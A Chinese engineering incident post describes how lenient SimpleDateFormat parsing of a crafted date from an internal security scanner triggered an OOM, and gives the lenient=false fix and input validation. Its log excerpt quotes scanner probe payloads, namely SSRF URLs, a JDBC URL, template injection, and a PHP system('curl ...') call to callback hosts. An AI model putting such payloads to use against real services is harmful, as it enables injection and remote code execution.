164万年后的日期解析引发的OOM

名词解释

商家销项发票业务(平台给商家开票),是平台提供给商家的工具产品,商家购买了平台的服务,那么平台需要开票给商家。

前言

本文所描述的问题,是应用的OOM引发的接口成功率下跌,排查过程中由于现场环境问题,导致第一次的原因定位错了,后面由于机缘巧合,找到了一个3月份的OOM dump文件,顺藤摸瓜一步步找到了OOM的元凶,竟然是由于安全攻击伪造了一个异常的日期格式,被SimpleDateFormat解析成了164万年后的日期,距今5.9亿天,而发生OOM的接口逻辑是,从开始时间到结束时间,每一天生成一个数据点,从而造成内存中存在大量对象,进而发生OOM。

下面就带大家来看下整个问题的定位过程。

Metaspace报错



图片



6月3日~6月6日,该业务连续出现两次接口成功率下跌的风险预警。看了下接口报错日志,接口的RT上涨,错误信息是Metaspace。



图片



到这很容易联想到是Metaspace空间不足导致gc,而且错误都集中在一台机器上,去sunfire上看下机器jvm信息,果然metaspace使用率已经达到97%了,CPU也飙高到了90%。由于接口成功率还在下跌,可能触发故障,所以第一时间把机器做了下线处理。虽然接口成功率恢复了,但现场却没了,只定位到了一个Metaspace使用率高的现象。



图片



图片



查看了一下应用的MetaspaceSize设置,容量确实很小,只有256M,相比其他应用都是512M,由于没了现场,所以暂时把解决方案定位成调高MetaspaceSize空间。

JAVA_OPTS="${JAVA_OPTS} -XX:MetaspaceSize=256m -XX:MaxMetaspaceSize=256m"

到了6月6日,再次出现了同样的问题,CPU也到了90%多,当即对问题机器dump了线程信息,CPU全部被GC线程占满了,所以还是认定是MetaspaceSize的原因。重启了问题机器后,第一时间发布代码,调整MetaspaceSize到512M。

top -H -p 进程ID



图片



CPU飙涨

然而到了6月6日下午,突然收到一个监控,从16.35开始,一台机器的CPU飙涨到98%,还是被4个GC线程占满,而metaspace的使用率却稳定在50%。这样看来之前定位到的原因不对了,并不是Metaspace的问题,而是应用在疯狂的GC。



图片





图片



OOM

上问题机器看了下线程CPU使用情况,果然还是4个GC线程,确定不是Metaspace的问题了。随即去找错误日志,这次不是报Metaspace,而是出现了大量的OutOfMemoryError错误,就是OOM了。



图片



OOM一般都很好定位,第一时间想到的便是dump了,然而dump的结果大跌眼镜,尝试了好几次,啥信息都没有,根本无从定位。

图片



既然无法dump,那直接在机器上使用jmap,结果也执行失败,陷入绝境了,明明是很好排查的OOM却无从下手,只能去找其他方法了。

集团的Java应用,一般都有默认的jvm参数--OOM 自动dump,文件一般在/home/admin/logs/java.hprof。

JAVA_OPTS="${JAVA_OPTS} -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=${MIDDLEWARE_LOGS}/java.hprof"

果然在机器上找到了dump文件,但日期却不是今天的,是3月29日的,本着死马当活马医的态度,先尝试着去分析一下。



图片



dump分析

用grace分析了一下3月29日的dump文件,大有收获,内存中竟然存在5700万个com.alibaba.finance.paycenter.view.GoodsIncomeSummaryVO对象,这便是3月29日OOM的元凶了。



图片





图片



但3月29日的OOM,跟6月6日的会是一样吗,过去2个多月了,而且sls上也没有3月份的日志。由于没有更多的方向了,暂时猜测6月6日的OOM跟3月29日的一样。顺着grace给出的信息,去看了下代码。代码的逻辑很简单,查询一个商家在某个时间区间的货款结算数据,数据是按天维度的,一天一条记录,所以这段代码返回的就是beginTime到endTime之间每天的数据,换句话说,GoodsIncomeSummaryVO这个对象最多也就是endTime-beginTime个了,也就是两个日期之间的天数。



图片



继续找到前台页面入口,beginTime和endTime对应的是两个时间选择器,给服务端的格式是yyyymmdd,而且前端限制每次最多查一个月,也就是接口最多返回31条数据。就算是伪造数据攻击,从0000-9999年最多也只有365*10000=365万条数据,怎么会出现5000多万呢?



图片



安全攻击

从这个产品功能来看,如果是正常的页面操作,那么单次请求最多返回一个月也就是31条数据,而内存中存在大量对象只有一种可能--那就是接口被攻击了。继续分析日志,把时间范围调整到问题发生的时段,果然接口调用量存在明显的上涨,跟前面的猜测一样,6月6日的OOM也是由于GoodsIncomeSummaryVO这个对象导致的。



图片



继续分析日志,发现请求都是来自【heimdall安全扫描测试账号】,这就是安全部的常用攻击账号。



图片



从日志不难看出,安全账号的请求在伪造入参攻击接口,入参中的[20240529, 20240604]便是前面提及的beginTime和endTime。而攻击请求中的入参却是另一番模样:

[http://140.205.171.167?%0a@fundtax.taobao.com/, 20240604][20240529, http://140.205.171.167?%0a@fundtax.taobao.com/][//sectesttaobao.com/checkpreload.htm?heimdallpoc=1, 20240604][20240529, 20240604jdbc:gbase://48268652-d8cb73efc3a3e66d-1111.1001-None-2c3a455b8ebd4954-1717662929929.gbase.dns.heimdallpoc.cn/test?user=test][20240529heimdalldbmarktestd8cb73efc3a3e66d-beginTime-, 20240604][20240529, {{ctx.curl('http://48268652-d8cb73efc3a3e66d-11.1-endTime-b5a59b74c90e4e73-1717662922429.ssi2.rce.ihttp.dns.heimdallpoc.cn')}}][data:text/plain,<?php system('curl 48268652-d8cb73efc3a3e66d-11.1-beginTime-39fbd8149b59426b-1717662920830.27.rce.ihttp.dns.heimdallpoc.cn');?>, 20240604]

再来回顾一下这个接口的逻辑:

1、用sellerId,beginTime和endTime,到数据库里面去查数据d >=beginTime and d <= endTime

2、计算beginTime和endTime之间的天数,这里用的是SimpleDateFormat.parse

看了下服务器的日志,大部分的安全攻击请求,要么被SQL语法拦截了,要么被日期解析拦截了,都是无效请求,那是怎么触发OOM的呢?



图片





图片



GoodsIncomeSummaryVO对象的产生主要是在第二步【计算beginTime和endTime之间的天数】,并不是第一步,就是说第一步的结果不会影响到GoodsIncomeSummaryVO的数量,去数据库验证了一下,攻击账号的数据是0条,所以问题的根源就是第二步。

Eagleeye分析

之前的日志分析并未发现异常,主要是因为分析的日志时间范围是在CPU上涨的时间。



图片



这个时间段内确实没有异常的请求日志,但是既然某些请求会产生大量的GoodsIncomeSummaryVO对象,那么这次请求的RT一定很高,可能系统打印的日志就不在这个时间段了,顺着这个思路去eagleeye上拉长时间看了下接口的RT数据,果然发现了可疑之处。17:30分左右平均RT是25分钟,这太不正常了,这个时间点一定存在某个RT很高的异常请求。



图片



定位元凶

去机器上寻找这个时间点附近的日志,找到了这个可疑的请求:

2024-06-06 17:30:26.625 - 212a87e117176628478926268e1570|106.15.120.135|HomeController|getGoodsIncomeList|N|Java heap space|null|3378731ms|22129*****|heimdall安全扫描测试账号|账户汇总-货款结算趋势|[20240529, 2024060433312731332234323c32343e3939]

日志的产生时间是2024-06-06 17:30:26,执行了56分钟,倒推一下就是2024-06-06 16:35 左右开始执行,跟OOM和CPU打满的时间是吻合的。可以肯定是这个请求一直在产生GoodsIncomeSummaryVO对象,话不多说,先看下参数。

beginTime:20240529endTime:2024060433312731332234323c32343e3939

这个endTime初看肯定会被日期解析给拦截的,为啥还往下执行了,难道这也能解析?写了段测试代码执行一下这两个数据,结果惊呆了。



图片



代码非但没有报错,反而停不下来了,3000多万了。



图片



5000多万了,不行了,电脑卡死了。



图片



好了,看来是停不下来了,估计也要跑50多分钟。直接把endTime:

2024060433312731332234323c32343e3939打印出来看看是个什么东西,好家伙。



图片





图片



2024060433312731332234323c32343e3939解析成Date后是1642440年,从2024年5月29日,一天一天加,加到1642440年,总共有5.9亿天,所以说这次请求会产生5.9亿个GoodsIncomeSummaryVO对象,这不OOM才怪呢。



图片



问题来了,有老铁知道2024060433312731332234323c32343e3939这是个啥,为啥SimpleDateFormat还能解析出来,已经超出认知了。

SimpleDateFormat分析

    public static Date convertToDate(String time, String format) {        Date date=null;        SimpleDateFormat dateFormat = new SimpleDateFormat(format);        try {            date = dateFormat.parse(time);        } catch (ParseException e) {            throw new RuntimeException("format error", e);        }        return date;    }

这是一段很普通的代码,看不出啥毛病来,问题就在于format这个格式解析,出于好奇,随便造了一个数据来测试一下,代码如下:

Date beginDate = DateUtils.convertToDate("209410529", DateUtils.YYYYMMDD_FORMAT);

【209410529】并不是标准的【yyyyMMdd】格式,而是9位多了1位,看看SimpleDateFormat的结果吧。

Mon Mar 12 00:00:00 CST 2096

解析并没有报错,但日期貌似也不对,怎么变成了2096年,于是debug看了下SimpleDateFormat的工作原理。

SimpleDateFormat的parse会根据format格式依次解析出年月日,关键的问题就出在【日】这个字段。

年:2094月:10日:529

除了yyyyMM前6位,后面的一大串都当成了【日】,问题的关键在于这段代码。



图片



进入Calendar类:



图片





图片



由于【日】这个字段是非法的,此处的isTimeSet=false,进入到了updateTime,重新开始计算时间,【529】天会进一步计算成月和年。



图片



debug结束后,重新计算的时间戳是【3982320000000】,转换一下,刚好是上面的结果【Mon Mar 12 00:00:00 CST 2096】。



图片



再回到安全攻击的那个日期【2024060433312731332234323c32343e3939】,看看SimpleDateFormat是怎么解析的,首先还是获取年月。

年:2024月:06

那么剩下的一大串【0433312731332234323c32343e3939】就用来解析【日】了,函数的入口位于DecimalFormat的subparse函数。

private final boolean subparse(String text, ParsePosition parsePosition,                   String positivePrefix, String negativePrefix,                   DigitList digits, boolean isExponent,                   boolean status[]) {}

依次遍历text,存入DigitList中,逻辑如下:



图片





图片



当识别到字符串中的【c】时,digit=-1,跳出了for循环,【c32343e3939】后面一大串直接丢弃了,所以digits中保存的字符串是【0433312731332234323】,然后转成Long,值为【433312731332234323】。



图片



最后在保存的时候转为int,值为599149651,这个就比较熟悉了,就是前面分析的5.9亿天,然后再通过Calendar的updateTime,变成了1642440年。



图片



后面测试了一下另外一个格式【yyyy-MM-dd】,也有同样的问题。

Date beginDate = DateUtils.convertToDate("2024-06-0433312731332234323c32343e3939", DateUtils.YYYY_MM_DD_FORMAT);

得到了同样的结果:

Sun Jun 10 00:00:00 CST 1642440

综上所述,在使用SimpleDateFormat的时候,必须确保日期的格式,否则可能会得到预期之外的结果,还可能会给业务带来影响。

设置lenient=false

感谢连齐提供的解决方案,SimpleDateFormat设置lenient为false,会严格校验日期格式,亲测有效。



图片





图片





图片





图片



问题修复

排查过程很复杂,但回到代码上,问题不少,修复方案也很简单。

1、接口入参时间格式没有校验,应该严格限定在yyyyMMdd;

2、接口没有校验时间查询范围,依赖于前端1个月的限制条件,但攻击可以轻易绕过;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/856846.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【LLM之NL2SQL】DAIL-SQL论文阅读笔记

研究背景 该研究旨在提供一个全面、系统的评估框架&#xff0c;用于评估基于大型语言模型&#xff08;LLM&#xff09;的Text-to-SQL技术。特别强调了不同的提示工程策略的有效性和效率&#xff0c;以及开源LLM的可行性。研究的重点是评估在零样本和少样本场景下的不同问题表示…

webgis 之 地图投影

地图投影 什么是地图投影目的种类等角投影的分类墨卡托投影Web 墨卡托投影 参考小结 为了更好地展示地球上的数据&#xff0c;需要将地球投影到一个平面上。地图投影是一个数学问题&#xff0c;按照一定的几何关系&#xff0c;将地球上的经纬度坐标映射到一个平面上的坐标。地球…

力扣hot100:(The Last one)287. 寻找重复数(快慢指针,静态链表)

LeetCode&#xff1a;287. 寻找重复数 “暴力” 不懂技巧&#xff0c;那就暴力&#xff01; 哈希表&#xff1a; 时间复杂度&#xff1a; O ( n ) O(n) O(n) 这个题体现不出 O ( n ) O(n) O(n)的作用&#xff0c;因为 n < 100 n < 100 n<100 空间复杂度&…

VirtualBox出错,从主机复制文件,乱改内容

昨天烧录机器&#xff0c;测试对方更新的一个库&#xff1a; 开始正确。后来莫名其妙崩溃。反复烧了几次&#xff0c;都错误。复制了老版本的库&#xff0c;正常。再改回新版本&#xff0c;崩溃。 于是把整个打包目录给了对方&#xff0c;他一对比&#xff0c;发现文件不对&am…

Windows应急响应靶机 - Web2

一、靶机介绍 应急响应靶机训练-Web2 前景需要&#xff1a;小李在某单位驻场值守&#xff0c;深夜12点&#xff0c;甲方已经回家了&#xff0c;小李刚偷偷摸鱼后&#xff0c;发现安全设备有告警&#xff0c;于是立刻停掉了机器开始排查。 这是他的服务器系统&#xff0c;请你…

Springboot获取resources中的文件

1.Springboot以文件的形式获取resources中的文件 import com.google.gson.JsonIOException; import com.google.gson.JsonObject; import com.google.gson.JsonParser; import com.google.gson.JsonSyntaxException; import org.springframework.util.ResourceUtils; import j…

2024.6最新版eclipse下载与安装(汉化教程)超详细教程来咯!!!包懂的

1.eclipse简介 Eclipse 是一个开放源代码的集成开发环境&#xff08;IDE&#xff09;&#xff0c;主要用于Java编程&#xff0c;但也可以通过插件支持其他编程语言&#xff0c;如C/C、Python、Perl等。Eclipse 被广泛应用于企业环境中&#xff0c;特别是在Java社区中&#xff0…

selenium常见难点解决方案

勾选框勾选问题 勾选框代码逻辑实现过程&#xff1a; 第一步&#xff1a;首先找到勾选框的元素&#xff1b; 第二步&#xff1a;检查它是否已经被勾选。如果已经勾选&#xff0c;则进行取消勾选操作&#xff1b;如果未勾选&#xff0c;则进行点击勾选操作&#xff1b; 以下是一…

audacity音频处理

1.安装 Audacity | Free Audio editor, recorder, music making and more! 添加OpenVINO插件: https://zhuanlan.zhihu.com/p/676542556 2.使用 2.1注意事项 1.编辑音频,点击左上方打开或导入都可以;打开视频文件则需要安装ffmpeg模块,打开后只显示视频中的音频信息; 2.编辑…

可变分区管理 分区分配算法

First Fit Algorithm Best Fit Algorithm FFA&#xff1a;按照分区编号找到第一个能装下进程的起始地址填入第二个表 此时 原表中将起始地址进程大小 分区大小-进程大小 如此继续 BFA&#xff1a;按分区大小排序 从小到大 找到第一个能装下的 剩余步骤和FFA一样 装满了可以直…

ls命令的参数选项

ls命令的参数的作用 可以指定要查看的文件夹&#xff08;目录&#xff09;的内容&#xff0c;如果不指定参数&#xff0c;就查看当前工作目录的内容。ls 命令的选项 常用语法&#xff1a;ls [-a -l -h] [linux路径] -a 选项表示 all &#xff0c;即列出全部内容&#xff0c;包括…

北航数据结构与程序设计图部分选填题

一、 抓两个关键信息&#xff1a;无向图&#xff0c;邻接表。无向图中&#xff0c;边&#xff08;vi&#xff0c;vj&#xff09;要在vi的链表中记录一次&#xff0c;再以&#xff08;vj&#xff0c;vi&#xff09;的形式在vj的链表中记录一次。 每个边都要记录两次&#xff0c…

文心一言 VS 讯飞星火 VS chatgpt (285)-- 算法导论21.2 4题

四、请给出图 21-3 所示操作序列的一个运行时间的渐近紧确界&#xff0c;假定使用链表表示和加权合并启发式策略。如果要写代码&#xff0c;请用go语言。 文心一言&#xff1a; 图 21-3 没有直接给出&#xff0c;但通常这种操作序列可能与某种数据结构&#xff08;如并查集或…

Seal^_^【送书活动第7期】——《IT项目经理进阶之道》

Seal^_^【送书活动第7期】——《IT项目经理进阶之道》 一、参与方式二、本期推荐图书2.1 作者荐语2.2 编辑推荐2.3 图书简介2.4 前言2.5 目 录 三、正版购买 从领导、客户、下属、供应商四个角度&#xff0c;介绍IT项目经理在实际工作中需要面对的挑战&#xff0c;以及一些常见…

【C++】哈希的概念及STL中有关哈希容器的使用

目录 前言一、unordered系列关联式容器1.1 标准库中的unordered_set1.1.1 unordered_set的介绍1.1.2 unordered_set的常用接口说明1.1.2.1 unordered_set对象的常见构造1.1.2.1.1 [无参构造函数](https://legacy.cplusplus.com/reference/unordered_map/unordered_map/)1.1.2.1…

laravel中如何向字段标签添加工具提示

首先&#xff0c;您可以使用 轻松自定义字段标签->label()。我相信您知道这一点。但您知道吗……标签输出未转义&#xff1f;这意味着您也可以在标签中包含 HTML。 为了尽快实现上述目标&#xff0c;我只是采取了一个快速而粗糙的解决方案&#xff1a; CRUD::field(nickna…

常用快捷键-快速开发-mac idea 查看侧边栏tool window project+新建文件快捷键

背景&#xff1a;来到公司后&#xff0c;换了mac系统&#xff0c;有点不习惯&#xff0c;于是自己重新设置了开发的快捷键 1、mac idea 查看侧边侧栏&#xff08;专业说法是Tool Window Project&#xff09;&#xff1a; 每次我们都要点击一下左上角的这个类似于文件夹的图标…

竞赛选题 python 机器视觉 车牌识别 - opencv 深度学习 机器学习

1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于python 机器视觉 的车牌识别系统 &#x1f947;学长这里给一个题目综合评分(每项满分5分) 难度系数&#xff1a;3分工作量&#xff1a;3分创新点&#xff1a;3分 &#x1f9ff; 更多资…

代码走查的一个实例

1996年6月23日至7月1日&#xff0c;我被点名到四川某单位协助排查某系统的技术问题。 我不懂该系统的原理&#xff0c;也不懂硬件&#xff0c;只能从软件角度分析问题。 那时&#xff0c;我所在单位已经为一家美国公司做了3年的软件第三方独立验证和测试&#xff0c;从中学到…

基于随机森林的鲍鱼年龄预测

文章目录 1.作者介绍2&#xff0e;关于理论方面的知识介绍2.1 背景介绍2.1.1基本概念2.1.2算法步骤2.1.3优势2.1.4劣势2.1.5应用场景2.1.6随机森林的重要变体2.1.7相关理论 2.2随机森林算法架构2.2.1 数据预处理与采样2.2.2构建决策树2.2.3决策树的训练2.2.4集成模型2.2.5 模型…